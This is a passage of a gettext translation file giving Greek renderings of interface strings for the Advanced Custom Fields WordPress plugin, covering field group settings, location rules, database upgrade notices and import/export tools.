"Είμαστε παθιασμένοι σχετικά με την υποστήριξη και θέλουμε να καταφέρετε το "
"καλύτερο μέσα από τον ιστότοπό σας με το ACF. Αν συναντήσετε δυσκολίες, "
"υπάρχουν πολλά σημεία στα οποία μπορείτε να αναζητήσετε βοήθεια:"

#: includes/admin/admin.php:146 includes/admin/admin.php:148
msgid "Help & Support"
msgstr "Βοήθεια & Υποστήριξη"

#: includes/admin/admin.php:137
msgid ""
"Please use the Help & Support tab to get in touch should you find yourself "
"requiring assistance."
msgstr ""
"Χρησιμοποιήστε την καρτέλα Βοήθεια & Υποστήριξη για να επικοινωνήστε μαζί "
"μας στην περίπτωση που χρειαστείτε βοήθεια. "

#: includes/admin/admin.php:134
msgid ""
"Before creating your first Field Group, we recommend first reading our <a "
"href=\"%s\" target=\"_blank\">Getting started</a> guide to familiarize "
"yourself with the plugin's philosophy and best practises."
msgstr ""
"Προτού δημιουργήσετε το πρώτο σας Field Group, σας συστήνουμε να διαβάσετε "
"τον οδηγό μας <a href=\"%s\" target=\"_blank\">Getting started</a> για να "
"εξοικειωθείτε με τη φιλοσοφία του προσθέτου και τις βέλτιστες πρακτικές του. "

#: includes/admin/admin.php:132
msgid ""
"The Advanced Custom Fields plugin provides a visual form builder to "
"customize WordPress edit screens with extra fields, and an intuitive API to "
"display custom field values in any theme template file."
msgstr ""
"Το πρόσθετο Advanced Custom Fields παρέχει έναν οπτικό κατασκευαστή φορμών "
"που σας επιτρέπει να προσαρμόζετε τις οθόνες επεξεργασίας του WordPress με "
"νέα πεδία, καθώς και ένα διαισθητικό API για να παρουσιάζετε τις τιμές των "
"custom field σε οποιοδήποτε template file ενός θέματος. "

#: includes/admin/admin.php:129 includes/admin/admin.php:131
msgid "Overview"
msgstr "Επισκόπηση"

#: includes/locations.php:36
msgid "Location type \"%s\" is already registered."
msgstr "Ο τύπος τοποθεσίας \"%s\" είναι ήδη καταχωρημένος."

#: includes/locations.php:25
msgid "Class \"%s\" does not exist."
msgstr "Η κλάση \"%s\" δεν υπάρχει."

#: includes/ajax/class-acf-ajax.php:157
msgid "Invalid nonce."
msgstr "Μη έγκυρο nonce."

#: includes/fields/class-acf-field-user.php:361
msgid "Error loading field."
msgstr "Σφάλμα κατά τη φόρτωση του πεδίου."

#: assets/build/js/acf-input.js:2742 assets/build/js/acf-input.js:2811
#: assets/build/js/acf-input.js:2913 assets/build/js/acf-input.js:2987
msgid "Location not found: %s"
msgstr "Δεν βρέθηκε η τοποθεσία: %s"

#: includes/forms/form-user.php:353
msgid "<strong>Error</strong>: %s"
msgstr "<strong>Σφάλμα</strong>: %s"

#: includes/locations/class-acf-location-widget.php:22
msgid "Widget"
msgstr "Μικροεφαρμογή"

#: includes/locations/class-acf-location-user-role.php:24
msgid "User Role"
msgstr "Ρόλος Χρήστη"

#: includes/locations/class-acf-location-comment.php:22
msgid "Comment"
msgstr "Σχόλιο"

#: includes/locations/class-acf-location-post-format.php:22
msgid "Post Format"
msgstr "Μορφή Άρθρου"

#: includes/locations/class-acf-location-nav-menu-item.php:22
msgid "Menu Item"
msgstr "Στοιχείο Μενού"

#: includes/locations/class-acf-location-post-status.php:22
msgid "Post Status"
msgstr "Κατάσταση Άρθρου"

#: includes/acf-wp-functions.php:71
#: includes/locations/class-acf-location-nav-menu.php:89
msgid "Menus"
msgstr "Μενού"

#: includes/locations/class-acf-location-nav-menu.php:80
msgid "Menu Locations"
msgstr "Τοποθεσίες Μενού"

#: includes/locations/class-acf-location-nav-menu.php:22
msgid "Menu"
msgstr "Μενού"

#: includes/locations/class-acf-location-post-taxonomy.php:22
msgid "Post Taxonomy"
msgstr "Ταξινομία Άρθρου"

#: includes/locations/class-acf-location-page-type.php:114
msgid "Child Page (has parent)"
msgstr "Υποσελίδα (έχει γονέα)"

#: includes/locations/class-acf-location-page-type.php:113
msgid "Parent Page (has children)"
msgstr "Γονική Σελίδα (έχει απογόνους)"

#: includes/locations/class-acf-location-page-type.php:112
msgid "Top Level Page (no parent)"
msgstr "Σελίδα Ανωτάτου Επιπέδου (χωρίς γονέα)"

#: includes/locations/class-acf-location-page-type.php:111
msgid "Posts Page"
msgstr "Σελίδα Άρθρων"

#: includes/locations/class-acf-location-page-type.php:110
msgid "Front Page"
msgstr "Αρχική Σελίδα"

#: includes/locations/class-acf-location-page-type.php:22
msgid "Page Type"
msgstr "Τύπος Άρθρου"

#: includes/locations/class-acf-location-current-user.php:73
msgid "Viewing back end"
msgstr "Προβολή του back end"

#: includes/locations/class-acf-location-current-user.php:72
msgid "Viewing front end"
msgstr "Προβολή του front end"

#: includes/locations/class-acf-location-current-user.php:71
msgid "Logged in"
msgstr "Συνδεδεμένος"

#: includes/locations/class-acf-location-current-user.php:22
msgid "Current User"
msgstr "Τρέχων Χρήστης"

#: includes/locations/class-acf-location-page-template.php:22
msgid "Page Template"
msgstr "Πρότυπο Σελίδας"

#: includes/locations/class-acf-location-user-form.php:74
msgid "Register"
msgstr "Εγγραφή"

#: includes/locations/class-acf-location-user-form.php:73
msgid "Add / Edit"
msgstr "Προσθήκη / Επεξεργασία"

#: includes/locations/class-acf-location-user-form.php:22
msgid "User Form"
msgstr "Φόρμα Χρήστη"

#: includes/locations/class-acf-location-page-parent.php:22
msgid "Page Parent"
msgstr "Γονέας Σελίδας"

#: includes/locations/class-acf-location-current-user-role.php:77
msgid "Super Admin"
msgstr "Υπερδιαχειριστής"

#: includes/locations/class-acf-location-current-user-role.php:22
msgid "Current User Role"
msgstr "Ρόλος Τρέχοντος Χρήστη"

#: includes/locations/class-acf-location-page-template.php:73
#: includes/locations/class-acf-location-post-template.php:85
msgid "Default Template"
msgstr "Προεπιλεγμένο Πρότυπο"

#: includes/locations/class-acf-location-post-template.php:22
msgid "Post Template"
msgstr "Πρότυπο Άρθρου"

#: includes/locations/class-acf-location-post-category.php:22
msgid "Post Category"
msgstr "Κατηγορία Άρθρου"

#: includes/locations/class-acf-location-attachment.php:84
msgid "All %s formats"
msgstr "Όλες οι %s μορφές"

#: includes/locations/class-acf-location-attachment.php:22
msgid "Attachment"
msgstr "Συνημμένο"

#: includes/validation.php:365
msgid "%s value is required"
msgstr "Η τιμή του %s είναι υποχρεωτική"

#: includes/admin/views/field-group-field-conditional-logic.php:59
msgid "Show this field if"
msgstr "Εμφάνιση αυτού του πεδίου αν"

#: includes/admin/views/field-group-field-conditional-logic.php:26
#: includes/admin/views/field-group-field.php:279
msgid "Conditional Logic"
msgstr "Λογική Υπό Συνθήκες"

#: includes/admin/admin.php:207
#: includes/admin/views/field-group-field-conditional-logic.php:156
#: includes/admin/views/html-location-rule.php:92
msgid "and"
msgstr "και"

#: includes/admin/admin-field-groups.php:290
msgid "Local JSON"
msgstr "Τοπικό JSON"

#: includes/admin/views/field-group-pro-features.php:9
msgid "Clone Field"
msgstr "Πεδίο Κλώνου"

#: includes/admin/views/html-notice-upgrade.php:30
msgid ""
"Please also check all premium add-ons (%s) are updated to the latest version."
msgstr ""
"Επιβεβαιώστε επίσης ότι όλα τα επί πληρωμή πρόσθετα (%s) είναι ενημερωμένα "
"στην τελευταία τους έκδοση."

#: includes/admin/views/html-notice-upgrade.php:28
msgid ""
"This version contains improvements to your database and requires an upgrade."
msgstr ""
"Αυτή η έκδοση περιέχει βελτιώσεις στη βάση δεδομένων σας κι απαιτεί μια "
"αναβάθμιση."

#: includes/admin/views/html-notice-upgrade.php:28
msgid "Thank you for updating to %1$s v%2$s!"
msgstr "Ευχαριστούμε που αναβαθμίσατε στο  %1$s v%2$s!"

#: includes/admin/views/html-notice-upgrade.php:27
msgid "Database Upgrade Required"
msgstr "Απαιτείται Αναβάθμιση Βάσης Δεδομένων"

#: includes/admin/views/html-notice-upgrade.php:18
msgid "Options Page"
msgstr "Σελίδα Επιλογών"

#: includes/admin/views/html-notice-upgrade.php:15
msgid "Gallery"
msgstr "Συλλογή"

#: includes/admin/views/html-notice-upgrade.php:12
msgid "Flexible Content"
msgstr "Ευέλικτο Περιεχόμενο"

#: includes/admin/views/html-notice-upgrade.php:9
msgid "Repeater"
msgstr "Επαναλήπτης"

#: includes/admin/views/html-admin-tools.php:24
msgid "Back to all tools"
msgstr "Πίσω σε όλα τα εργαλεία"

#: includes/admin/views/field-group-options.php:160
msgid ""
"If multiple field groups appear on an edit screen, the first field group's "
"options will be used (the one with the lowest order number)"
msgstr ""
"Αν περισσότερα από ένα field group εμφανίζονται στην οθόνη επεξεργασίας, "
"τότε θα χρησιμοποιηθούν οι ρυθμίσεις του πρώτου (αυτού με το χαμηλότερον "
"αριθμό σειράς)"

#: includes/admin/views/field-group-options.php:160
msgid "<b>Select</b> items to <b>hide</b> them from the edit screen."
msgstr ""
"<b>Επιλέξτε</b> στοιχεία για να τα <b>αποκρύψετε</b> από την οθόνη "
"τροποποίησης."

#: includes/admin/views/field-group-options.php:159
msgid "Hide on screen"
msgstr "Απόκρυψη σε οθόνη"

#: includes/admin/views/field-group-options.php:151
msgid "Send Trackbacks"
msgstr "Αποστολή Παραπομπών"

#: includes/admin/views/field-group-options.php:150
msgid "Tags"
msgstr "Ετικέτες"

#: includes/admin/views/field-group-options.php:149
msgid "Categories"
msgstr "Κατηγορίες"

#: includes/admin/views/field-group-options.php:147
msgid "Page Attributes"
msgstr "Χαρακτηριστικά Σελίδας"

#: includes/admin/views/field-group-options.php:146
msgid "Format"
msgstr "Μορφή"

#: includes/admin/views/field-group-options.php:145
msgid "Author"
msgstr "Συντάκτης"

#: includes/admin/views/field-group-options.php:144
msgid "Slug"
msgstr "Σύντομο όνομα"

#: includes/admin/views/field-group-options.php:143
msgid "Revisions"
msgstr "Αναθεωρήσεις"

#: includes/acf-wp-functions.php:63
#: includes/admin/views/field-group-options.php:142
msgid "Comments"
msgstr "Σχόλια"

#: includes/admin/views/field-group-options.php:141
msgid "Discussion"
msgstr "Συζήτηση"

#: includes/admin/views/field-group-options.php:139
msgid "Excerpt"
msgstr "Απόσπασμα"

#: includes/admin/views/field-group-options.php:138
msgid "Content Editor"
msgstr "Επεξεργαστής Περιεχομένου"

#: includes/admin/views/field-group-options.php:137
msgid "Permalink"
msgstr "Μόνιμος σύνδεσμος"

#: includes/admin/views/field-group-options.php:222
msgid "Shown in field group list"
msgstr "Εμφανίζεται στη λίστα ομάδας πεδίων"

#: includes/admin/views/field-group-options.php:122
msgid "Field groups with a lower order will appear first"
msgstr "Ομάδες πεδίων με χαμηλότερη σειρά θα εμφανιστούν πρώτες"

#: includes/admin/views/field-group-options.php:121
msgid "Order No."
msgstr "Αρ. Παραγγελίας"

#: includes/admin/views/field-group-options.php:112
msgid "Below fields"
msgstr "Παρακάτω πεδία"

#: includes/admin/views/field-group-options.php:111
msgid "Below labels"
msgstr "Παρακάτω ετικέτες"

#: includes/admin/views/field-group-options.php:104
msgid "Instruction placement"
msgstr "Τοποθέτηση οδηγιών"

#: includes/admin/views/field-group-options.php:87
msgid "Label placement"
msgstr "Τοποθέτηση ετικέτας"

#: includes/admin/views/field-group-options.php:77
msgid "Side"
msgstr "Πλάι"

#: includes/admin/views/field-group-options.php:76
msgid "Normal (after content)"
msgstr "Κανονικό (μετά το περιεχόμενο)"

#: includes/admin/views/field-group-options.php:75
msgid "High (after title)"
msgstr "Ψηλά (μετά τον τίτλο)"

#: includes/admin/views/field-group-options.php:68
msgid "Position"
msgstr "Τοποθεσία"

#: includes/admin/views/field-group-options.php:59
msgid "Seamless (no metabox)"
msgstr "Ενοποιημένη (χωρίς metabox)"

#: includes/admin/views/field-group-options.php:58
msgid "Standard (WP metabox)"
msgstr "Κλασική (με WP metabox)"

#: includes/admin/views/field-group-options.php:51
msgid "Style"
msgstr "Στυλ"

#: includes/admin/views/field-group-fields.php:44
msgid "Type"
msgstr "Τύπος"

#: includes/admin/admin-field-groups.php:285
#: includes/admin/views/field-group-fields.php:43
msgid "Key"
msgstr "Κλειδί"

#. translators: Hidden accessibility text for the positional order number of
#. the field.
#: includes/admin/views/field-group-fields.php:37
msgid "Order"
msgstr "Σειρά"

#: includes/admin/views/field-group-field.php:294
msgid "Close Field"
msgstr "Κλείσιμο Πεδίου"

#: includes/admin/views/field-group-field.php:235
msgid "id"
msgstr "id"

#: includes/admin/views/field-group-field.php:219
msgid "class"
msgstr "κλάση"

#: includes/admin/views/field-group-field.php:256
msgid "width"
msgstr "πλάτος"

#: includes/admin/views/field-group-field.php:250
msgid "Wrapper Attributes"
msgstr "Ιδιότητες Πλαισίου"

#: includes/admin/views/field-group-field.php:171
msgid "Required"
msgstr "Απαιτείται"

#: includes/admin/views/field-group-field.php:203
msgid "Instructions for authors. Shown when submitting data"
msgstr "Οδηγίες προς τους συγγραφείς. Ορατό όταν υποβάλλοντα τα δεδομένα"

#: includes/admin/views/field-group-field.php:202
msgid "Instructions"
msgstr "Οδηγίες"

#: includes/admin/views/field-group-field.php:106
msgid "Field Type"
msgstr "Τύπος Πεδίου"

#: includes/admin/views/field-group-field.php:134
msgid "Single word, no spaces. Underscores and dashes allowed"
msgstr "Μια λέξη, χωρίς κενά. Επιτρέπονται κάτω παύλες και παύλες"

#: includes/admin/views/field-group-field.php:133
msgid "Field Name"
msgstr "Όνομα Πεδίου"

#: includes/admin/views/field-group-field.php:121
msgid "This is the name which will appear on the EDIT page"
msgstr "Αυτό είναι το όνομα που θα εμφανιστεί στην σελίδα ΤΡΟΠΟΠΟΙΗΣΗΣ."

#: includes/admin/views/field-group-field.php:120
msgid "Field Label"
msgstr "Επιγραφή Πεδίου"

#: includes/admin/views/field-group-field.php:70
msgid "Delete"
msgstr "Διαγραφή"

#: includes/admin/views/field-group-field.php:70
msgid "Delete field"
msgstr "Διαγραφή πεδίου"

#: includes/admin/views/field-group-field.php:68
msgid "Move"
msgstr "Μετακίνηση"

#: includes/admin/views/field-group-field.php:68
msgid "Move field to another group"
msgstr "Μετακίνηση του πεδίου σε άλλο group"

#: includes/admin/views/field-group-field.php:66
msgid "Duplicate field"
msgstr "Δημιουργία αντιγράφου του πεδίου"

#: includes/admin/views/field-group-field.php:62
#: includes/admin/views/field-group-field.php:65
msgid "Edit field"
msgstr "Τροποποίηση πεδίου"

#: includes/admin/views/field-group-field.php:58
msgid "Drag to reorder"
msgstr "Σύρετε για αναδιάταξη"

#: includes/admin/admin-field-group.php:168
#: includes/admin/views/html-location-group.php:3
#: assets/build/js/acf-field-group.js:1935
#: assets/build/js/acf-field-group.js:2166
msgid "Show this field group if"
msgstr "Εμφάνιση αυτής της ομάδας πεδίου αν"

#: includes/admin/views/html-admin-page-upgrade.php:94
#: includes/ajax/class-acf-ajax-upgrade.php:34
msgid "No updates available."
msgstr "Δεν υπάρχουν διαθέσιμες ενημερώσεις."

#: includes/admin/views/html-admin-page-upgrade.php:33
msgid "Database upgrade complete. <a href=\"%s\">See what's new</a>"
msgstr ""
"Η αναβάθμιση της βάσης δεδομένων ολοκληρώθηκε. <a href=\"%s\">Δείτε τι νέο "
"υπάρχει</a>"

#: includes/admin/views/html-admin-page-upgrade.php:30
msgid "Reading upgrade tasks..."
msgstr "Πραγματοποιείται ανάγνωση εργασιών αναβάθμισης..."

#: includes/admin/views/html-admin-page-upgrade-network.php:165
#: includes/admin/views/html-admin-page-upgrade.php:65
msgid "Upgrade failed."
msgstr "Η αναβάθμιση απέτυχε."

#: includes/admin/views/html-admin-page-upgrade-network.php:162
msgid "Upgrade complete."
msgstr "Η αναβάθμιση ολοκληρώθηκε."

#: includes/admin/views/html-admin-page-upgrade-network.php:148
#: includes/admin/views/html-admin-page-upgrade.php:31
msgid "Upgrading data to version %s"
msgstr "Πραγματοποιείται αναβάθμιση δεδομένων στην έκδοση %s"

#: includes/admin/views/html-admin-page-upgrade-network.php:121
#: includes/admin/views/html-notice-upgrade.php:44
msgid ""
"It is strongly recommended that you backup your database before proceeding. "
"Are you sure you wish to run the updater now?"
msgstr ""
"Συνιστάται ιδιαίτερα να πάρετε αντίγραφο ασφαλείας της βάσης δεδομένων σας "
"προτού να συνεχίσετε. Είστε βέβαιοι ότι θέλετε να εκτελέσετε την ενημέρωση "
"τώρα;"

#: includes/admin/views/html-admin-page-upgrade-network.php:117
msgid "Please select at least one site to upgrade."
msgstr "Παρακαλούμε επιλέξτε τουλάχιστον έναν ιστότοπο για αναβάθμιση."

#: includes/admin/views/html-admin-page-upgrade-network.php:97
msgid ""
"Database Upgrade complete. <a href=\"%s\">Return to network dashboard</a>"
msgstr ""
"Η Αναβάθμιση της Βάσης Δεδομένων ολοκληρώθηκε. <a href=\"%s\">Επιστροφή στον "
"πίνακα ελέγχου του δικτύου</a>"

#: includes/admin/views/html-admin-page-upgrade-network.php:80
msgid "Site is up to date"
msgstr "Ο ιστότοπος είναι ενημερωμένος"

#: includes/admin/views/html-admin-page-upgrade-network.php:78
msgid "Site requires database upgrade from %1$s to %2$s"
msgstr "Ο ιστότοπος απαιτεί αναβάθμιση της βάσης δεδομένων από %1$s σε%2$s"

#: includes/admin/views/html-admin-page-upgrade-network.php:36
#: includes/admin/views/html-admin-page-upgrade-network.php:47
msgid "Site"
msgstr "Ιστότοπος"

#: includes/admin/views/html-admin-page-upgrade-network.php:26
#: includes/admin/views/html-admin-page-upgrade-network.php:27
#: includes/admin/views/html-admin-page-upgrade-network.php:96
msgid "Upgrade Sites"
msgstr "Αναβάθμιση Ιστοτόπων"

#: includes/admin/views/html-admin-page-upgrade-network.php:26
msgid ""
"The following sites require a DB upgrade. Check the ones you want to update "
"and then click %s."
msgstr ""
"Οι παρακάτω ιστότοποι απαιτούν αναβάθμιση της Βάσης Δεδομένων. Επιλέξτε "
"αυτούς που θέλετε να ενημερώσετε και πατήστε το %s."

#: includes/admin/views/field-group-field-conditional-logic.php:171
#: includes/admin/views/field-group-locations.php:38
msgid "Add rule group"
msgstr "Προσθήκη ομάδας κανόνων"

#: includes/admin/views/field-group-locations.php:10
msgid ""
"Create a set of rules to determine which edit screens will use these "
"advanced custom fields"
msgstr ""
"Δημιουργήστε μια ομάδα κανόνων που θα καθορίζουν ποιες επεξεργασίας θα "
"χρησιμοποιούν αυτά τα πεδία"

#: includes/admin/views/field-group-locations.php:9
msgid "Rules"
msgstr "Κανόνες"

#: includes/admin/tools/class-acf-admin-tool-export.php:478
msgid "Copied"
msgstr "Αντιγράφηκε"

#: includes/admin/tools/class-acf-admin-tool-export.php:441
msgid "Copy to clipboard"
msgstr "Αντιγραφή στο πρόχειρο"

#: includes/admin/tools/class-acf-admin-tool-export.php:362
msgid ""
"The following code can be used to register a local version of the selected "
"field group(s). A local field group can provide many benefits such as faster "
"load times, version control & dynamic fields/settings. Simply copy and paste "
"the following code to your theme's functions.php file or include it within "
"an external file."
msgstr ""
"Ο παρακάτω κώδικας μπορεί να χρησιμοποιηθεί για να δηλώσετε μια τοπική "
"έκδοση των επιλεγμένων field group. Ένα τοπικό local field group μπορεί να "
"δώσει πολλά οφέλη, όπως ταχύτεροι χρόνοι φόρτωσης, version control & "
"δυναμικά πεδία/ρυθμίσεις. Απλώς αντιγράψτε και επικολλήστε τον παρακάτω "
"κώδικά στο αρχείο functions.php του θέματός σας ή κάντε το include σε ένα "
"εξωτερικό αρχείο."

#: includes/admin/tools/class-acf-admin-tool-export.php:329
msgid ""
"Select the field groups you would like to export and then select your export "
"method. Export As JSON to export to a .json file which you can then import "
"to another ACF installation. Generate PHP to export to PHP code which you "
"can place in your theme."
msgstr ""
"Επιλέξτε τα field group που θα θέλατε να εξαγάγετε και έπειτα επιλέξτε τη "
"μέθοδο εξαγωγής που προτιμάτε. Χρησιμοποιήστε το κουμπί μεταφόρτωσης για να "
"εξαγάγετε ένα αρχείο .json το οποίο θα μπορείτε στη συνέχεια να εισαγάγετε "
"σε μια άλλη εγκατάσταση ACF. Χρησιμοποιήστε το κουμπί παραγωγής για να "
"εξαγάγετε PHP κώδικα τον οποίο μπορείτε να τοποθετήσετε έπειτα στο θέμα σας."

#: includes/admin/tools/class-acf-admin-tool-export.php:233
#: includes/admin/tools/class-acf-admin-tool-export.php:262
msgid "Select Field Groups"
msgstr "Επιλογή ομάδων πεδίων"

#: includes/admin/tools/class-acf-admin-tool-export.php:167
msgid "Exported 1 field group."
msgid_plural "Exported %s field groups."
msgstr[0] "Έγινε εξαγωγή 1 ομάδας πεδίων."
msgstr[1] "Έγινε εξαγωγή %s ομάδων πεδίων."

#: includes/admin/tools/class-acf-admin-tool-export.php:96
#: includes/admin/tools/class-acf-admin-tool-export.php:131
msgid "No field groups selected"
msgstr "Δεν επιλέχθηκε καμία ομάδα πεδίων"

#: includes/admin/tools/class-acf-admin-tool-export.php:39
#: includes/admin/tools/class-acf-admin-tool-export.php:337
#: includes/admin/tools/class-acf-admin-tool-export.php:371
msgid "Generate PHP"
msgstr "Δημιουργία PHP"

#: includes/admin/tools/class-acf-admin-tool-export.php:35
msgid "Export Field Groups"
msgstr "Εξαγωγή Ομάδων Πεδίων"

#: includes/admin/tools/class-acf-admin-tool-import.php:146
msgid "Imported 1 field group"
msgid_plural "Imported %s field groups"
msgstr[0] "Έγινε εισαγωγή 1 ομάδας πεδίων"
msgstr[1] "Έγινε εισαγωγή %s ομάδας πεδίων"

#: includes/admin/tools/class-acf-admin-tool-import.php:115
msgid "Import file empty"
msgstr "Εισαγωγή κενού αρχείου"

#: includes/admin/tools/class-acf-admin-tool-import.php:106
msgid "Incorrect file type"
msgstr "Εσφαλμένος τύπος αρχείου"

#: includes/admin/tools/class-acf-admin-tool-import.php:101
msgid "Error uploading file. Please try again"
msgstr "Σφάλμα μεταφόρτωσης αρχείου. Παρακαλούμε δοκιμάστε πάλι"

#: includes/admin/tools/class-acf-admin-tool-import.php:51
msgid ""
"Select the Advanced Custom Fields JSON file you would like to import. When "
"you click the import button below, ACF will import the field groups"
msgstr ""
"Επιλέξτε το Advanced Custom Fields JSON αρχείο που θέλετε να εισαγάγετε. "
"Όταν πατήσετε το κουμπί εισαγωγής από κάτω το ACF θα εισαγάγει τις ομάδες "
"πεδίων."

#: includes/admin/tools/class-acf-admin-tool-import.php:28
#: includes/admin/tools/class-acf-admin-tool-import.php:50
msgid "Import Field Groups"
msgstr "Εισαγωγή Ομάδων Πεδίων"

#: includes/admin/admin-field-groups.php:494
msgid "Sync"
msgstr "Συγχρονισμός"

#: includes/admin/admin-field-groups.php:942
msgid "Select %s"
msgstr "Επιλογή %s"

#: includes/admin/admin-field-groups.php:527
#: includes/admin/admin-field-groups.php:556
#: includes/admin/views/field-group-field.php:66
msgid "Duplicate"
msgstr "Δημιουργία αντιγράφου"

#: includes/admin/admin-field-groups.php:527
msgid "Duplicate this item"
msgstr "Δημιουργία αντιγράφου αυτού του στοιχείου"

#: includes/admin/admin-field-groups.php:284
#: includes/admin/views/field-group-options.php:221
#: includes/admin/views/html-admin-page-upgrade-network.php:38
#: includes/admin/views/html-admin-page-upgrade-network.php:49
msgid "Description"
msgstr "Περιγραφή"

#: includes/admin/admin-field-groups.php:491
#: includes/admin/admin-field-groups.php:829
msgid "Sync available"
msgstr "Διαθέσιμος συγχρονισμός"

#: includes/admin/admin-field-groups.php:754
msgid "Field group synchronised."
msgid_plural "%s field groups synchronised."
msgstr[0] "Η ομάδα πεδίων συγχρονίστηκε."
msgstr[1] "%s ομάδες πεδίων συγχρονίστηκαν."

#: includes/admin/admin-field-groups.php:696
msgid "Field group duplicated."
msgid_plural "%s field groups duplicated."
msgstr[0] "Δημιουργήθηκε αντίγραφο της ομάδας πεδίων."
msgstr[1] "Δημιουργήθηκαν αντίγραφα %s ομάδων πεδίων."

#: includes/admin/admin-field-groups.php:118
msgid "Active <span class=\"count\">(%s)</span>"
msgid_plural "Active <span class=\"count\">(%s)</span>"
msgstr[0] "Ενεργό <span class=\"count\">(%s)</span>"
msgstr[1] "Ενεργά <span class=\"count\">(%s)</span>"

#: includes/admin/admin-upgrade.php:237
msgid "Review sites & upgrade"
msgstr "Ανασκόπηση ιστοτόπων & αναβάθμιση"

#: includes/admin/admin-upgrade.php:59 includes/admin/admin-upgrade.php:93
#: includes/admin/admin-upgrade.php:94 includes/admin/admin-upgrade.php:213
#: includes/admin/views/html-admin-page-upgrade-network.php:24
#: includes/admin/views/html-admin-page-upgrade.php:26
msgid "Upgrade Database"
msgstr "Αναβάθμιση Βάσης Δεδομένων"

#: includes/admin/admin.php:49 includes/admin/views/field-group-options.php:140
msgid "Custom Fields"
msgstr "Custom Fields"

#: includes/admin/admin-field-group.php:718
msgid "Move Field"
msgstr "Μετακίνηση Πεδίου"

#: includes/admin/admin-field-group.php:707
#: includes/admin/admin-field-group.php:711
msgid "Please select the destination for this field"
msgstr "Παρακαλούμε επιλέξτε τον προορισμό γι' αυτό το πεδίο"

#. translators: Confirmation message once a field has been moved to a different
#. field group.
#: includes/admin/admin-field-group.php:668
msgid "The %1$s field can now be found in the %2$s field group"
msgstr "Το πεδίο %1$s μπορεί πλέον να βρεθεί στην ομάδα πεδίων %2$s"

#: includes/admin/admin-field-group.php:665
msgid "Move Complete."
msgstr "Η Μετακίνηση Ολοκληρώθηκε."

#: includes/admin/views/field-group-field.php:273
#: includes/admin/views/field-group-options.php:189
msgid "Active"
msgstr "Ενεργό"

#: includes/admin/admin-field-group.php:325
msgid "Field Keys"
msgstr "Field Keys"

#: includes/admin/admin-field-group.php:224
#: includes/admin/tools/class-acf-admin-tool-export.php:286
msgid "Settings"
msgstr "Ρυθμίσεις"

#: includes/admin/admin-field-groups.php:286
msgid "Location"
msgstr "Τοποθεσία"

#: includes/admin/admin-field-group.php:169 assets/build/js/acf-input.js:983
#: assets/build/js/acf-input.js:1075
msgid "Null"
msgstr "Null"

#: includes/acf-field-group-functions.php:846
#: includes/admin/admin-field-group.php:166
#: assets/build/js/acf-field-group.js:1158
#: assets/build/js/acf-field-group.js:1310
msgid "copy"
msgstr "αντιγραφή"

#: includes/admin/admin-field-group.php:165
#: assets/build/js/acf-field-group.js:344
#: assets/build/js/acf-field-group.js:389
msgid "(this field)"
msgstr "(αυτό το πεδίο)"

#: includes/admin/admin-field-group.php:163 assets/build/js/acf-input.js:918
#: assets/build/js/acf-input.js:943 assets/build/js/acf-input.js:1002
#: assets/build/js/acf-input.js:1030
msgid "Checked"
msgstr "Επιλεγμένο"

#: includes/admin/admin-field-group.php:160
#: assets/build/js/acf-field-group.js:1249
#: assets/build/js/acf-field-group.js:1408
msgid "Move Custom Field"
msgstr "Μετακίνηση Προσαρμοσμένου Πεδίου"

#: includes/admin/admin-field-group.php:159
#: assets/build/js/acf-field-group.js:370
#: assets/build/js/acf-field-group.js:415
msgid "No toggle fields available"
msgstr "Δεν υπάρχουν διαθέσιμα πεδία εναλλαγής"

#: includes/admin/admin-field-group.php:157
msgid "Field group title is required"
msgstr "Ο τίτλος του field group είναι απαραίτητος"

#: includes/admin/admin-field-group.php:156
#: assets/build/js/acf-field-group.js:1238
#: assets/build/js/acf-field-group.js:1394
msgid "This field cannot be moved until its changes have been saved"
msgstr ""
"Αυτό το πεδίο δεν μπορεί να μετακινηθεί μέχρι να αποθηκευτούν οι αλλαγές του"

#: includes/admin/admin-field-group.php:155
#: assets/build/js/acf-field-group.js:1049
#: assets/build/js/acf-field-group.js:1192
msgid "The string \"field_\" may not be used at the start of a field name"
msgstr ""
"Το αλφαριθμητικό \"field_\" δεν μπορεί να χρησιμοποιηθεί στην αρχή ενός "
"ονόματος πεδίου"

#: includes/admin/admin-field-group.php:82
msgid "Field group draft updated."
msgstr "Το πρόχειρο field group ενημερώθηκε"

#: includes/admin/admin-field-group.php:81
msgid "Field group scheduled for."
msgstr "Το field group προγραμματίστηκε."

#: includes/admin/admin-field-group.php:80
msgid "Field group submitted."
msgstr "Το field group καταχωρήθηκε."

#: includes/admin/admin-field-group.php:79
msgid "Field group saved."
msgstr "Το field group αποθηκεύτηκε. "

#: includes/admin/admin-field-group.php:78
msgid "Field group published."
msgstr "Το field group δημοσιεύθηκε."

#: includes/admin/admin-field-group.php:75
msgid "Field group deleted."
msgstr "Το field group διαγράφηκε."

#: includes/admin/admin-field-group.php:73
#: includes/admin/admin-field-group.php:74
#: includes/admin/admin-field-group.php:76
msgid "Field group updated."
msgstr "Το field group ενημερώθηκε."

#: includes/admin/admin-tools.php:119
#: includes/admin/views/html-admin-navigation.php:109
#: includes/admin/views/html-admin-tools.php:21
msgid "Tools"
msgstr "Εργαλεία"

#: includes/locations/abstract-acf-location.php:106
msgid "is not equal to"
msgstr "δεν είναι ίσο με"

#: includes/locations/abstract-acf-location.php:105
msgid "is equal to"
msgstr "είναι ίσο με"

#: includes/locations.php:102
msgid "Forms"
msgstr "Φόρμες"

#: includes/locations.php:100 includes/locations/class-acf-location-page.php:22
msgid "Page"
msgstr "Σελίδα"

#: includes/locations.php:99 includes/locations/class-acf-location-post.php:22
msgid "Post"
msgstr "Άρθρο"

#: includes/fields.php:358
msgid "jQuery"
msgstr "jQuery"

#: includes/fields.php:357
msgid "Relational"
msgstr "Υπό Συνθήκες"

#: includes/fields.php:356
msgid "Choice"
msgstr "Επιλογή"

#: includes/fields.php:354
msgid "Basic"
msgstr "Βασικό"

#: includes/fields.php:313
msgid "Unknown"
msgstr "Άγνωστο"

#: includes/fields.php:313
msgid "Field type does not exist"
msgstr "Ο τύπος πεδίου δεν υπάρχει"

#: includes/forms/form-front.php:236
msgid "Spam Detected"
msgstr "Άνιχνεύθηκε Spam"

#: includes/forms/form-front.php:107
msgid "Post updated"
msgstr "Το άρθρο ενημερώθηκε"

#: includes/forms/form-front.php:106
msgid "Update"
msgstr "Ενημέρωση"

#: includes/forms/form-front.php:57
msgid "Validate Email"
msgstr "Επιβεβαίωση Ηλεκτρονικού Ταχυδρομείου"

#: includes/fields.php:355 includes/forms/form-front.php:49
msgid "Content"
msgstr "Περιεχόμενο"

#: includes/forms/form-front.php:40
